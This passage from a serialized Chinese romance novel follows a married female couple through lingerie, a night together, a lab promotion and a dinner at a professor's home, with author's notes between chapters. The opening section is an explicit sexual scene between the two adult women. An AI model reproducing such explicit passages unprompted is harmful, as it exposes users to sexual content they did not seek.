季白青见她咋咋呼呼的模样心里暗自觉得好笑。 她慢悠悠道:“那你再好好想想,我先去洗澡了。” 说着,她出了房间,徒留温淼一个人留在卧室,有些纠结地咬着指尖。 季白青让她穿上陆霁先前给她们买的红色的那一套内衣,她说她自己也会穿。 可是那样的内衣,温淼从来没见过。 看起来穿了跟没穿也没什么两样。 怎么可能穿的嘛。 她在内心将这些话一一否定,还没等她下定决心,季白青不知道什么时候就洗完了澡,擦着一头湿漉漉的长发回到了房间。 怎么感觉只纠结了一会儿,但时间却过得那么快。 两人对视一眼,看出来温淼眼中的纠结,季白青挑了挑眉,诧异道:“还没决定好呢?” 温淼忍住内心的赧意,视线落在青年白皙的锁骨之上。 季白青的身上还穿着普通的睡衣,是纯棉的白色长裤和长袖,将手脚遮的严严实实。 只是领口有些大,微微往一边斜,隐约可以看到黑色的蕾丝细带。 她真的穿了…… 温淼更加纠结了,她想要看季白青穿那种,可是真的到了自己身上的时候,又会觉得不好意思。 但对方坏的很,如果不按照她的说法来,肯定不会给她看。 她只看了一眼,还没让季白青发现就迅速收回了视线。 女人咕哝道:“你出去吹头发,我还得再想想。” 看着人柔软蓬松的发顶,季白青迁就地出了房间。 正在吹着头发呢,她也就没发觉温淼从她身后路过,悄悄往澡间去。 等到女人洗完澡回到房间之后,季白青拿着吹风机对她招了招手。 “过来,给你吹头发。” 吹风机正在呼呼地运行着,温淼坐着,心跳微微加速,觉得颇为不自在。 不过季白青认真地给她吹着头发,倒也没有注意到什么。 头发吹干后,最后在她的发尾抹了一点发油,嗅到上面清清淡淡的香味,季白青这才满意地停了手。 “睡觉。” 将女人一头乌黑的藻发梳理好,季白青拍拍她的头顶。 温淼欲言又止地看了季白青一眼,见她正在将吹风机收回抽屉里,暂时将想要说的话咽下。 趁她去外面倒水功夫,温淼躲进被子里,窸窸窣窣一阵响之后,睡衣睡裤被褪下塞到角落。 她咬着唇瓣,将衣服脱下之后,一时间又有些后悔,正纠结要不要穿回去的时候,卧室的门被再度推开,季白青端着水瓶放在床头。 垂眸见温淼睡在床上,薄被将其盖得严严实实,她看向她的眼神含着涟涟的水光。 季白青一愣,弯起唇问:“今天怎么那么乖?” 平时这个时候温淼少不了还要再看一会儿书,哪有像这样只是躺在床上等她的。 估摸着这女人害羞的个性,她想要看的衣服对方大概是不会穿了。 季白青刚才早在澡间的时候就换上了那套,便想着给她看一眼也行。 穿都穿了。 她将门反锁,回到床边,修长的手指落在衣摆上,正打算将上衣先脱下来,就听见温淼有些紧绷的声音: “你、你干什么?” 季白青的手顿住,衣服被撩到一半停了下来,露出一截白皙劲瘦的腰肢,她挑眉看着温淼,惊讶道: “你不想看我穿的衣服了吗?” 这坏蛋,明明刚才偷偷觑她的眼神藏都藏不住,这下倒是突然矜持起来。 温淼这才意识到是自己误会了,她脸颊发烫,身体却放松了一些,眼神有些期待地落在青年身上。 同时,她在心里给自己默默打气,待会儿季白青也脱了,两个人就一样了,她没什么好害羞的。 季白青见她水润的眸子落在自己身上,脱衣服的动作便放缓了些。 睡衣下摆被撩起,一路往上缩,最后露出被蕾丝包裹的弧度。 蕾丝的布料纤薄,黑色布料的缝隙间,在极致反差色系的对比之下透出一抹新雪似的白,露出来的手臂上的肌肉在动作间明显绷紧,勾勒出流畅的线条。 温淼看着她展现在自己面前的身体,悄悄咽了口口水,蜷缩在被面下的腿也不自觉并拢了些。 接着长裤也被褪了下来,蕾丝下的腿修长、赏心悦目。 将睡衣睡裤往床前的椅子上一搭,季白青被她用有些露骨的眼神盯着,原本并不在意的心里也不知不觉中多了一丝不自在。 但到底看着自己的是她老婆,季白青还是在温淼面前转了一圈,好奇地问:“你喜欢吗?” 温淼垂下眼,不敢和她对视,声音细若蚊蚋:“……喜欢。” 季白青心里有些得意,她就知道她没猜错。 笑意在眼角眉梢漫开,她迈开步子,一只腿撑在地面上,另一只腿半跪上了床,正打算掀开被子睡进去,被子却被温淼死死扯住。 季白青看了她一眼,见她面色紧张,脸颊脖子红了一片,不过瞬息,便猜到了几分。 她笑吟吟问:“不是不肯穿吗?” 都做好这个准备了,结果女人竟然真的乖乖穿上了。 她和温淼对视一眼,眼睛微弯,倒是不着急要看,只是贴近了女人的脸,和她接了个吻。 缱绻的吻中蕴藏着恋人对自己的爱怜,温淼被亲得迷迷糊糊的,全身心都投入了进去,原本紧紧攥着被子的手也不知道在什么时候松开了。 给了某人可乘之机。 季白青摸索到女人的手与她扣紧,吮吸着红唇的同时,另一只手将被子掀开,露出女人千方百计想要掩盖的曼妙身体。 季白青将人放开,垂下眼睫看着温淼的时候眼里闪过了一丝惊艳。 她老婆真的好漂亮。 青年的声音都软成了一滩蜜,将脸埋在她的颈间,黏黏糊糊地问:“老婆怎么这么好、这么乖?” 温淼的长睫一颤,脚趾蜷缩起来,不知道怎么回答青年的话。 最后女人用甜软的声音色厉内荏道:“才不乖!” 季白青有些疑惑地看向她:“嗯?怎么不乖了?” 温淼忍着羞耻说出几个字。 “没……没穿红色。” 确实。 女人身上套着一身纯白色的蕾丝内衣,白与白之间,竟有些分不清到底是哪一个更加白。 拥雪成峰间,珊瑚珠便格外显眼了。 白色衬得她原本就纤秾合度的身体多了几分圣洁,看起来跟个仙女似的。 但也就季白青家的仙女能为她做到这份上。 不过……季白青听了她这话,险些笑出声来。 原来她的不乖就是指穿了白色的衣服没穿季白青想要看的红色吗? 现在季白青只想要收回刚才的想法,温淼不只是乖,还很可爱。 她被温淼湿漉漉的眼神看的心尖发软,亲她的鼻尖、泪痣、唇角。 最后一吻落在唇角的时候,青年用气声道:“穿白色……我也喜欢。” 季白青的手顺着她的脊背落在尾椎骨,指腹按在皮肤上的触感让温淼的身体微微发颤。 白皙精致的锁骨上印了一个鲜红的吻痕,还没开始,温淼的身体就软了下来。 季白青还没有下一步动作,女人细白的手指就搭在了她的手腕上。 娇媚的女人伸出一只手揽住季白青的颈项,带着她的头向自己靠近。 温热的气息缓缓落下,季白青忍着痒意,听她细声说着要求。 在听完之后,季白青不得不说,她老婆真的很有服务精神。 自己舒服的同时不忘记让她也舒服舒服。 缓缓将两人的腿交叠起来,季白青闭着眼,脸颊酡红。 身体相贴间,轻易就感受到了对方身上的温度。 一样炙热、润泽。 季白青戴着戒指的左手还被温淼扣着,另一只手按住了女人的腰。 手背绷直,显露出青蓝色的血管,指骨凸显,显露出带着掌控的侵占性。 温淼长发散落,躺在床上,屋内的灯光明晃晃地照了下来,被不轻不重的动作撞碎,零散落在女人的眼眸中,女人有些痴迷地睁开眼,视线落在面前因为动作而晃开的涟漪之上,看着黑色与白色交织晃荡。 没过多久,眼皮被热气蒸红,唇瓣微张,她却什么话都说不出来,只剩下心口的起伏逐渐变大。 这样亲昵的动作对她来说到底还是太过,并不长的时间,琥珀色眼睛里的雾气渐浓,原本还能主动将季白青按住的手被对方反过来压住,瞳孔逐渐失去焦距。 季白青也并不太好受,身体软了几分,感受着那根线和对方身上的温度,脑中发白。 她小口喘着气,闭上眼后咬了咬牙,撞了上去。 屋子里两道声音同时响起,不知道什么时候,两人躺在床上抱在了一起。 身上还带着汗液,咸湿、黏糊糊的并不太舒服。 缓过来几分后,温淼睁开眼睛,看着身侧躺着的人,还慢吞吞地挪动到她身边,半趴在人的心口。 黏糊糊的吻在季白青的肩头、锁骨上落下,温淼用唇在对方身上烙下一个个绯色的印记。 季白青阖着眼皮,感受她在自己身前作乱也只是睫毛微颤,任由她动作。 温淼自己亲够了之后,伸手去够床边的水杯,自己喝了两口润润嗓子,随后含住一口温水,再度俯身,与青年双唇相贴,将水渡了进去。 季白青没想到她还会给自己喂水,一时间没咽下去的水顺着唇角流下,一下落到身上还松松垮垮地穿着的衣服上,将布料打湿。 她睁着一双茫然的杏眼看向温淼,眸子里还带着未消散的水意,睫毛是湿漉漉的,下巴也湿漉漉的,唇瓣艳红,看着像个清纯又无辜的少女。 温淼很少见到她这一副弱势模样,青年在床上大部分都占着主导地位,还是头一次看起来比自己还要柔弱。 她感受到一股温潮,鬼使神差地贴近季白青询问:“要我帮忙吗?” 季白青的眼睛微眯,看着她,微微撑起了身体。 女人原本就和她的身体紧贴,这样一来,整个身体都不受控制地被她往上带。 她开口,声音带着绵绵的沙哑:“宝宝。” 唇瓣往女人的耳边贴,她喃喃:“跪好。” 温淼下意识按照人的话摆好动作,刚意识到了不对劲,脸就被压在她身前, 后脑勺还被青年的手压着,脸颊紧贴她胸口,溢出些软白的脸颊肉。 温淼刚想要开口说些什么,忽然唇不受控制地张开,一声惊呼要溢出的同时,她咬住了唇,秀眉拧了起来,脸颊发红。 最后姿势都维持不住,身体软倒在季白青身上。 季白青捻了捻指腹,轻轻拍拍温淼的脸蛋,笑着问:“现在还能给我帮忙吗?” 温淼过了好一会儿才反应过来她说的是什么意思。 身体酸的不像话,膝盖也疼,早就失了力气。 可听出来季白青话里的笑意,她心里生出几分不服气,咬牙道:“可以。” 说着,她撑起身体,顶着一头湿润的长发往下拱。 最后两个人都变得有些乱糟糟的。 衣服,湿漉漉。 澡,得重新洗。 【作者有话说】 我说喵你别太可爱了 晚点应该还会再有一章,不过应该是在十二点之后了 感谢投雷营养液,感谢评论订阅收藏[眼镜] 129 第129章 ◎老婆、宝宝、大小姐◎ 当天晚上闹得太过,睡得晚,导致第二天季白青和温淼都险些没能起来床。 好在季白青昨晚收拾完一片狼藉后睡前还隐约记着要送温淼去学校上早八的事,一睁眼的时候快要七点半,还来得及。 她将熟睡的温淼叫醒,给人简单换上衣服。 两人赶时间,只能尽量忽略掉浑身的酸软,快速洗漱之后带上陈晴装好的便当,将人送到京市大学后,季白青这才坐公交车回了华清大学。 温向荣平反之后,很快就恢复了以前的职位,需要她负责处理的大事小事都不断。 张旭的真实死亡原因并没有让她困扰多久,毕竟斯人已逝,不过几天时间,她就走了出来,又变成了以往雷厉风行、一丝不苟的温首长。 陆有德死了,陆家的继承权落在陆霁身上,陆延和沈念念再也不能翻出什么大风浪,堵在她们面前所有的障碍都被消除,季白青和温淼得以安心地度过大学生活,将身心都投入到学习之中去。 大二上学期的时间很快过去,随后妻妻俩迎来了一个不算暑假的暑假,季白青每天往实验室跑,温淼的翻译书籍的进程也遇到了难题,要么去图书馆查阅资料,要么就去找专业课的老师一起讨论,两人只能在忙碌中勉强抽出那么一点少得可怜的时间腻歪腻歪。 九月份开学,在季白青大二下学期的时候,华清大学的化学工程专业又来了一批大一学生。 在开学典礼上,季白青凭借专业第一的成绩有幸作为优秀学生代表上台发言,在发言完毕后,回答了部分新生的问题,开学典礼结束之后,季白青就没有多大的机会和新生接触了。 毕竟从七月下旬开始,于景所带领的压敏胶研发进程更进一步,经过在实验前期对相关文献的参考和实验方案的设计、推翻,在做过无数次演算与小型试验后,终于推算出最符合的研究过程方案,在做好了原材料的提纯与准备后,现在研究开发已经进展到胶黏剂调制与性能初步测试阶段,再有两道程序就能够面向全国推广了。 季白青进实验室的时间早,跟着于景一路从实验初期走到现在,虽然现在仍旧是实习生的身份,却也是实验室里不可或缺的研究员之一。 毕竟是于景从一开始就存着要教她的心思,一直手把手带着她,无论是最中心的数据还是实验流程都过了手,整个实验室中除了于景,对实验的研究进程中的细节最了解的就是她。 即使是有职称的初级技术员和中级技术人员很多时候都需要向她了解数据和实验情况。 她很忙,不止是她,整个实验室的技术员都忙。 除了平日里的上课时间,剩余的休息时间季白青基本都是在实验室度过的。 上课、去实验室、准备评职资料,她在忙活着这三件事,将时间安排满满当当。 不过有了上次温淼因为生病和她冷战的教训,季白青不敢再对自己的身体有任何的怠慢,每天三餐准时吃,也保证足够时间的睡眠,在正常作息之下,虽然需要处理的工作多,但是身体上倒也不怎么累。 这次压敏胶的研发研究卫如兰也参与了,她还不用接触最中心的数据,只是每天在学校和实验室来回,都已经累得不行,看着季白青每天精力十足地生活,也觉得她有着别人都羡慕不来的高精力。 不仅如此,季白青早就在整个化学工程专业中都出了名,毕竟她年年专业课都第一,教过她的老师也都对她赞不绝口,虽然面上看起来冷冷淡淡,但是有什么问题问她都会得到耐心的解答。 优秀又为人谦虚。 而且季白青还有一个漂亮又优秀的女朋友,两个人的感情好得不得了。 这简直话本里主角一样的人物,不少人喜欢她却只能偷偷憋在心里。 别人是怎么看待她的,季白青不知道。 她现在唯一觉得有些紧张的就是即将到来的十月份的评职。 从年初一直准备到现在,对于评职的流程,季白青都快倒背如流了。 不过虽然早就做好了充足的准备,于景也带着她过了一遍流程,看了她所写的申报内容后明确说过她不会有什么问题,但季白青的心里始终紧绷着一根弦。 毕竟评上了职称之后,每个月实验室下发的工资能够变多,和钱挂钩的事情,她都还挺上心的。 虽然她现在每个月可以从陆霁那里分到几百上千的分红,可她有老婆要养,无论是多少钱都很上心。 在十月之前,她将申报内容补齐,上面写下了一连串的工作业绩报告、科研成果和相关的实践活动奖项,密密麻麻,都是京市叫的出口的比赛和项目,履历一眼看过去只会让人觉得漂亮。 十月评职开始,将个人资料提交上去,通过之后,季白青抽出时间去做了一次业务汇报,之后便在学校一边忙着学业和实验室的研究,一边等着最后的结果出来。 她申报的是中级技术人员的职称,毕竟除了学历要求之外,其它的事件科研项目和论文方面的要求她都符合。 于景也支持她的决定,鼓励她跟着自己的想法来。 等了大半个月,季白青都快将这件事忘了,十月末的时候突然在学校的公示上自己的名字,中级技术人员的证书也下放到她手中,她虽然并不惊讶,但得知自己评职通过后确实挺高兴的。 她评下来的是中级技术人员中的八级工程师,在此之后,终于不用再多白打工,在实验室的工资从一开始的五十多涨到了一百三十。 大二在读的学生评上了中级技术员,这个消息让不少外院的老师都十分吃惊。 消息传出来之后,也震惊了化工专业的全部学生。 毕竟还是大二的学生就能够有评上中级技术人员的机会,别说是化工专业了,这简直是全校独有的一份!为化工专业挣了不少面子。 不过在知道那人是季白青之后,大部分化工专业的学生十分自然地接受了。 毕竟季白青在专业里的能力数一数二,只要是她们专业的无人不知,从大一就开始跟着导师做实验项目,手上的科研成果也有不少,更重要的是,现在不过大二,已经将大三和部分大四的专业课学分修满了。 这种人不是一般人能够比得上的。 在十一月份,压敏胶的研究进展到了尾声,现在已经到了配方优化和工艺优化的阶段。 再有顶多两个月的时间,就可以将其用到大批量的工业生产方面了。 前面所有研究都磕磕绊绊走了过来,到了后面几步,不用再像是以前一样繁琐麻烦。 这个消息让全实验室的人都高兴起来。 想着实验室里的工作员和学生都一起忙碌了差不多一整年的时间,于景在要下班的时候对众人道:“大家这段时间都辛苦了,还有最后一段时间需要大家再努努力,这周天的时间,给大家放一天假,大家伙中午有时间都来我家吃饭,也尝尝我家那位的手艺!” 实验室很长一段时间都没有假期了,闻言,众人喜上眉梢,顿时欢呼一声。 卫如兰靠近季白青,小声问道:“你去吗?” 季白青眉心微皱,其实心里有一些犹豫。 毕竟难得的休息时间,如果温淼没课的话她就正好可以在家里陪陪她。 但是于景都这样说了,拒绝好像又不太好。 于景的话落下后,很快就到了下班时间,众人将实验服脱下,换上自己的,纷纷往外走。 于景见着季白青和卫如兰还没走,过去拍了拍自己得意门生的肩膀,对她们道:“周天你们可一定要去啊,你们师爹都说了想要见见你们。” 卫如兰乖巧地点头,倒是季白青没什么回应。 于景看出来她面上的纠结,凭着这两年里对季白青的了解,立即猜到了几分她犹豫的原因。 “周天把你家家属也一起带过来呗,你们这些小年轻真是整天都腻腻歪歪的。” 她知道自己这个学生什么都好,对学习认真、努力勤奋、聪明机灵,在感情上也格外专一,和自己的妻子之间的感情很好。 果然,听到了于景的建议之后,季白青的眼神一亮。 她迅速点头:“好,老师,等我回去问问我妻子有没有时间,如果有的话,就带过去吃一顿饭。” 于景点了点头,五十多岁的女人笑得慈祥,丝毫看不出平时训人的严厉模样,她开口道:“现在下班了,赶快回学校洗澡吃饭。” 季白青和卫如兰应下,将实验服脱下之后出了实验室,一起往学校走。 卫如兰想着刚才所听见的季白青和于景的对话,一时间觉得有些好奇。 “你和你妻子的感情是怎么这么好的啊?” 季白青闻言一愣,还真认真地想了想,最后笑眯眯道:“当然是因为我爱她,她也爱我。” 互相相爱的人怎么可能感情不好。 她所问出的问题的唯一答案便是季白青很爱温淼,温淼也很爱季白青,两个人为了对方的付出都是平等的,所以感情好。 想到了温淼,季白青的心里突然有些泛酸,忽然后悔同卫如兰突然说起她。 两人已经有一两个月的时间没有见面了,本来就压抑着对对方的思念。 现在好了,见不到人,但对她的想都抑制不住地溢出来了。 卫如兰侧过脸去看着季白青原本冷淡的面色多了几分柔软,心里微愣。 爱情真的有这么奇妙吗?让一个人能够呈现出截然不同的两种状态。 在此之后,两个人没再说话,一起去食堂吃了饭之后,她们回到宿舍就分道扬镳了。 回宿舍之后,季白青在桌前将小组作业写完,又看了会即将要考试的专业课教材,到了十一点半的时候,准时将书合上,回到寝室里轻手轻脚洗漱。 洗漱完后,将柜子打开,季白青有些纠结,最终还是没忍住将压在最底下的温淼穿过的外套拿出来。 外套被她小心翼翼地放在了枕头上,枕着尚且带着温淼身上体香的衣服,季白青阖着眼睛,勉强解了想念,很快睡去。 过了两天,周六的课上完之后,季白青收拾好东西,去花店挑了一束水仙花花束买下,抱着花去京市大学见温淼。 两人每次见面都没有提前说明,到底没有一个具体的联络方法,很不方便。 每次见对方都是靠着运气。 不过好在两人的运气都够好。 季白青抱着花,一如既往地在宿舍等着温淼。 她们学校的宿舍离着食堂近,季白青提前看过温淼的课表,她就在这个点还有一节课,再有几分钟就下课了。 待会儿温淼过来吃饭的时候肯定可以看见她。 果不其然,十多分钟一过,季白青抱着花正在想着今天所上的课的知识点,就忽然听到了一道熟悉的声音。 “阿青?” 季白青转过身去,见到了温淼之后,弯起了眼睛,面上多了几分温柔。 “刚下课吗?” 她将手里的花递给温淼,水仙花小小的一捧,刚好方便女人拿,白色的花瓣和黄色的蕊心衬得她面色越发明艳。 果然漂亮的人就该配漂亮的花。 温淼点头,原本有些疲惫的心情在见到了青年的身影之后瞬间变得明朗起来。 她软声问:“你怎么来了?” 两个人都是大忙人,见一次面可不容易。 季白青扣住人的手,解释:“明天实验室放假,老师说让我们去她家吃顿饭,可以带家属。” “你明天有时间吗?有的话要不要和我一起过去?如果没时间的话,我一个人去也行。” 这一番话说得是很善解人意,可青年看着女人的一双眼睛却格外地亮,里面盛满了期待。 温淼再怎么狠心都拒绝不了这样的季白青,更何况她本就心软得不行。 她轻轻点头:“明天也没什么事,我本来就打算到时候去看你来着。” 虽然考试需要复习,但少那么一天也没多大关系。 闻言,笑意在青年的眸中铺陈开。 她晃了晃女人的手,声音也嗲了几分。 “那你去收拾好东西,我们现在回去,今天晚上给你做好吃的。” 温淼将花给了季白青,进了宿舍楼和孙程程她们说了周日回家之后开始收拾要带回去的东西。 见她唇角含笑,心情颇好的模样,苗欣原本在写作业的手也停了下来,问道:“你家那位来了?” 温淼点头。 “果然,只有她来了才能见到你这副春心荡漾的模样。”孙程程笑嘻嘻地接了一句。 “嗯,是我们不配有的待遇。”苗欣点点头。 两人打趣的话让温淼的脸颊发红,她站在原地无措地抿了抿唇,最后也说不出什么反驳的话,只是道:“……对你们我也有心情很好的时候。” 孙程程看着她纠结的模样,一时间觉得季白青真是走了狗屎运,才能够和这样一个脾气好还聪慧灵秀的大美人结婚。 多可爱。 孙程程嘿嘿一笑,“那是,不过我们和你亲亲老婆怎么能够一样,行了,收拾吧,别让季白青多等。” 温淼将最后一点东西收拾好之后,逃一样出了宿舍。 等在楼下的季白青见温淼出来之后脸颊泛着红,有些好笑。 “又被你室友逗了?” 她单手将人的外套扣子扣上,将她的衣服下摆拉好,这才接过对方手里的行李。 温淼颇有些郁闷地点了点头。 也不知道怎么回事,无论是她舍友还是季白青,都喜欢逗她。 她捧着水仙花,埋脸嗅了嗅,闻着花的清香,唇角翘起,和季白青牵着手走出了学校。 回到家后,才发现陈晴也在,还把她的女儿也接了过来。 不过这在最开始的时候陈晴就说过,温淼和季白青也同意偶尔不方便的时候可以将孩子带在身边,别乱跑就行。 陈晴的女儿也挺乖,见到了她们之后软软地叫阿姨。 因为温淼有低血糖,季白青的兜里习惯性放了一把糖果,见她这么可爱,给她抓了一把。 陈晴解释:“孩子他爸出任务去了,所以接过来住几天。” “淼淼白青,我不知道你们今天回来,你们吃什么,我现在就去买菜。” 季白青摇头:“没事陈姐,你忙你的,不用做我们的饭,今天我来做就行。” 她将行李提到房间放好,等着温淼将花瓶换了水后把花插进去,和她一起去买菜。 两个人吃饭,季白青也没打算做太多。 买了条鲫鱼,抓了把豆芽,挑了一颗白菜,路过卖吃食的摊子,两人挑了些点心,分成两份,到家的时候将一份给了陈晴之后,准备做晚饭。 季白青手起刀落,上一秒还活蹦乱跳的鲫鱼下一秒就被拍晕,将鱼处理好,豆芽洗干净,做了个鲫鱼豆芽汤。 白菜和红薯粉一起炖,白菜炖粉条出锅的时候米饭也蒸好了。 很久没吃过季白青做的饭,温淼确实还挺想的。 一碗热气腾腾的鲫鱼汤下肚,身体暖和起来,味蕾也被打开。 她吃的同时也没忘记给季白青也夹菜。 饭后,两人坐在沙发上,各自靠在一边蜷着腿看书。 原本一眼可以看懂的英文字符看着看着就开始乱飞,温淼将眼镜取下,揉了揉鼻梁,有些困。 再一看季白青,已经撑着脸靠在沙发一边昏昏欲睡。 大概是累了,面上带着几分倦意。 温淼看的新奇,悄声下了沙发站起来,走到季白青面前,伸手捏住了她的鼻尖。 原本要睡着的人忽然呼吸不畅,唇瓣微微张开,很快就醒了过来。 一睁眼,是温淼含笑生动的眉眼。 季白青一愣,反应过来后伸手拦住人的腰往自己的怀里圈。 温淼细声尖叫一声,以为她要报复回来,便扭着身体要跑。 季白青的手收*紧,没让她挣脱,反而在动作间将女人再次往自己的身上压。 她眉眼还带了几分倦意,声音缓缓:“刚招惹完我就要跑?” 温淼无辜地看向她,想要撒娇过关。 “……我只是想要看你到底睡着没有。” 照着她这个看法,季白青就算是睡着了也得被憋醒。 她没说话,手从她的脊骨往上挪,最后按在了她的后颈之上,将人的后颈往前按,季白青一口咬住了温淼的唇瓣,含糊的声音从唇边溢出: “那现在好好看看我到底有没有睡着。” 温淼唔唔两声,什么话都说不出来。 最后唇瓣被亲得微微发肿,两人回到房间,坐在梳妆镜前,温淼看着自己红艳的唇有些郁闷。 “季白青!你看看你干的好事,明天还要出门!” 季白青正在换被罩,将被子抖落之后,往后看了一眼,十分了解道:“放心吧,这个程度一晚上就好了。” “……”温淼沉默。 还真被她亲出经验来了。 不过刚才温淼也没有少咬她,她的唇也没好到哪去。 到时候就算是丢脸,也是两个人一起丢脸。 原本两个人都困,但是接了个吻后两个人都清醒了几分。 季白青靠在床头,趁着还没睡,将最后一点数据算清楚。 最后一个数字刚落下,温淼就上了床,一下钻进了她的怀里。 见人垂眸看向自己,温淼眉眼弯弯,噘嘴亲在了她的下巴上。 温香软玉在怀,季白青毫不犹豫地本子合上放到一边,抱住女人躺下之后,将脸埋在她的颈脖间,轻轻嗅了一口。 “好香。”她喟叹。 温淼被她的动作弄得有些痒,往后微微仰了仰,随后伸出手将人抱住。 想着上次亲昵过后舍友问她脖子上什么时候被叮了这么明显的蚊子包,温淼就觉得羞耻,现在更是不可能让她做什么。 她一板一眼道:“好香也不行,只许抱抱,不许做其它。” 季白青唇角扬起,干脆应下:“知道了,就抱抱。” 明天要出门,今夜不宜做。 温淼狐疑地往怀里人身上看了一样,被她用这样的视线盯着,季白青无奈。 “我又不是禽兽,整天想着这种事。” “更何况——小没良心的,每次这种事不都是你舒服?” 温淼的眼神飘忽一瞬,磕磕巴巴反驳:“才不是,你、你不也会舒服吗?” 季白青轻笑一声,困意翻涌,声音懒洋洋道:“真的不做什么,大小姐,快睡吧。” 温淼将自己的身体同她贴近,闻言嘀咕了一声:“又在乱叫了。” 青年拖长声音:“淼淼、蓁蓁、老婆、宝宝……睡觉。” 温淼哼了一声:“知道了。” “老婆晚安。”女人一口亲在她发顶,缓缓闭上了眼。 【作者有话说】 我真还没完结,每次看见有人评论区完结撒花我就心虚哈哈哈哈哈 插播一条题外话,猫咪的原始袋真的太好捏了,我不允许有人没捏过 最后感谢投雷营养液,感谢评论订阅收藏,原本想要写多点的,但是拖延症犯了,一直墨迹到现在 有点太困了,就到这吧,大家晚安[亲亲] 130 第130章 ◎毕业快乐◎ 第二天,吃过早饭后温淼和季白青就提前出门了。 中午要去于景那吃饭,两人便商量着去王府井百货大楼看看能够挑什么礼物送她们。 今天是周日,出门的时候明显可以感受到街上的人群多了起来。 毕竟学生们都放假,大多数工人今天也不需要上班。 她们坐着公交车去了王府井百货大楼,这才发现百货大楼里更是人挤人,两人挑了挑,最后买了一盒沙琪玛、一支钢笔和一条丝巾当做是礼物,让售货员帮忙包装好后,她们又折身去了菜市场。 虽然十一月的天气渐冷,但现在京市的菜市场里的蔬菜、荤菜的种类也有不少,在问过温淼的意见后,季白青大手一挥,直接买了八斤羊肉,又买了四个白萝卜,准备带到于景家炖上。 将东西都买齐之后,季白青和温淼一起提着东西往于景家走。 于景家就在华清大学的家属区,这边的楼房规整,于景又给了楼号和门牌号,很好找。 差不多十点的时候,妻妻俩到了于景家。 两个人还是第一个到的,于景来开门的时候见她们来得这么早还有些惊讶。 “怎么来这么早?” 季白青笑盈盈道:“在家待着也没事,来早点还能帮上忙。” 温淼将手上的礼物给了于景,轻声道:“老师,今天真是麻烦你们了。” “说什么麻烦!来都来了,还带什么礼物。”于景嗔了她们一眼,招呼她们进来坐。 厨房里,于景丈夫听到了外面的动静,也出来和她们打了个招呼。 季白青和于景的关系挺好,此时也没和她客气,给自己和温淼倒了一杯水,喝完水后道:“老师,我和淼淼买了羊肉和萝卜,待会儿也让我们进厨房给你露一手。” 闻言,于景笑呵呵的:“行啊,我待会儿跟你师爹说一声。” 说完,于景怕温淼不自在,把季白青晾在一边,转过头去和她聊天:“你是不是有个老师叫夏仙乔?” 温淼点了点头,一时间有些好奇:“老师您也认识夏老师?” 于景笑呵呵的:“你们夏老师的丈夫就是我们华清大学的老师,所以她们是在这边家属区住的,我之前和她一起去学校食堂吃饭,还听她夸过你呢。” “我一听你的名字,嘿,不是巧了,我想着白青爱人的名字也是温淼,这不就对上了。” “她天天就和我夸你,我不也天天和她夸白青,这不,你们两个好学生竟然还是一对。” 温淼也没想到这么巧,弯起眼睛谦逊道:“夏老师言过其实了,我也没有她说的那么好。” 在一边听得津津有味的季白青听着这话有些不乐意了,立马反驳道:“哪里言过其实了,你明明就是这么优秀,比你老师说的还要好才对。” 于景闻言,看了眼自己一向沉稳的学生,眼里的笑意又浓郁几分。 她怎么也没有想到,在面对她的爱人的时候,季白青竟然会是这个模样。 和平日里的形象比起来,反差也太大了。 想着,她唇角翘起,也点了点头,悠悠道:“对啊,夸你你就认着,你学学你家白青。” 季白青失笑,实际上她面对别人的夸赞一向也都持着谦虚的态度。 不过在她眼里温淼什么都最好,所以她听不得温淼说那样的话。 既然如此,她也承认。 大大方方地点头,她道:“对啊,我很优秀,淼淼也很优秀,这是事实而已。” 哪有这么夸自己的?温淼轻拧着眉心瞪了她一眼,季白青立马闭上了嘴。 见状,于景越发有兴致。 自己这什么都好就是性格有些冷淡的学生在喜欢的人面前竟然会是这种状态。 她在心里偷笑一声。 不过刚才的谈话确实拉近了温淼和于景之间的距离,三个人再一起说着话的时候,温淼也能答上几句,倒是没有什么不自在了。 不过她们没说多久话,很快于景家的门再次被敲响,实验室的人陆陆续续地提着东西来了。 有人是买的补品,也有人直接拎了菜过来。 卫如兰就直接拎了一盒饭的酱牛肉放在桌上,抹了一把额头上的汗道:“这还是我专门跑到菜市场门口买的酱牛肉,排了好长一段时间的队,不过那家的酱牛肉是真的好吃。” 季白青问:“陆家秘制那个?” 卫如兰点头,疑惑道:“怎么了?” 季白青咳了一声,“没事,就是那是我朋友家的摊子,如果你下次还想吃可以提前跟我说,就不用再排这么久的队了。” 那家酱牛肉摊子还是季白青给陆霁的秘方,支起来之后,生意一直都很好,季白青靠着分成也赚得口袋鼓鼓。 卫如兰闻言,笑眯眯地点头。 她看了眼客厅里,凳子基本被坐满了,就剩沙发上还有个位置。 空位旁边坐着的人是温淼。 她悄悄看了眼温淼一眼,心想,难怪她身边没人坐。 人太美了,显得十分有距离感,根本不好意思坐过去。 温淼原本在剥橘子,若有所觉地抬起了头,和卫如兰对上了视线。 见人愣着站在原地,温淼弯了弯眼睛对她招了招手。 “如兰,来这坐。” 温淼还记得她,第一次去华清大学找季白青的时候,两个人还一起吃过饭。 而且季白青和她的关系大概不错,偶尔会听她提到卫如兰。 卫如兰听着她温柔的声音,脸颊微红,最后磨磨蹭蹭地在温淼的身边落下。 温淼将剥好的橘子吃了一口,面不改色地咽下去后,剩下的都塞给了季白青。 季白青此时正在听着其她研究员说话,手里突然被塞了剥好的橘子,便下意识往嘴里塞。 吃了一瓣之后,她眉头浅浅皱起,随后很快舒展开,又自然地给周围的人都分了分。 卫如兰被分到之后,吃了一口面色扭曲。 “……怎么这么酸。” 温淼没忍住,轻笑出声。 看着她明媚的笑颜,卫如兰默默挪开视线不敢再看。 季白青妻子,好……好漂亮。 不能再看了,再看更羡慕了。 快到十一点,季白青进了厨房,将先前炖好的萝卜炖羊肉盛了出来,此时圆桌上的各种菜已经摆得满满当当。 于景丈夫将最后一道菜端出来后,便招呼道:“现在开饭了。” 季白青拿着碗,给众人盛饭。 每个人都是满满当当的一碗米饭。 到了最后一个碗,她盛了半碗,放在温淼身前。 又给她盛了碗羊肉汤,同她咬耳朵:“先喝汤暖暖胃。” 见着两人凑近亲昵的动作,桌上沉默一瞬,十几双眼睛都盯着两人。 温淼被看得不自在,在桌下推了推季白青。 季白青往一边挪了,给于景夹了一块羊肉,有些奇怪地看着众人问: “看我干什么?不吃饭吗?” “哈哈,吃!” 在场基本都是二三十岁的女同志,只有于景丈夫一个男性。 有人没忍住又多看了季白青和温淼一眼。 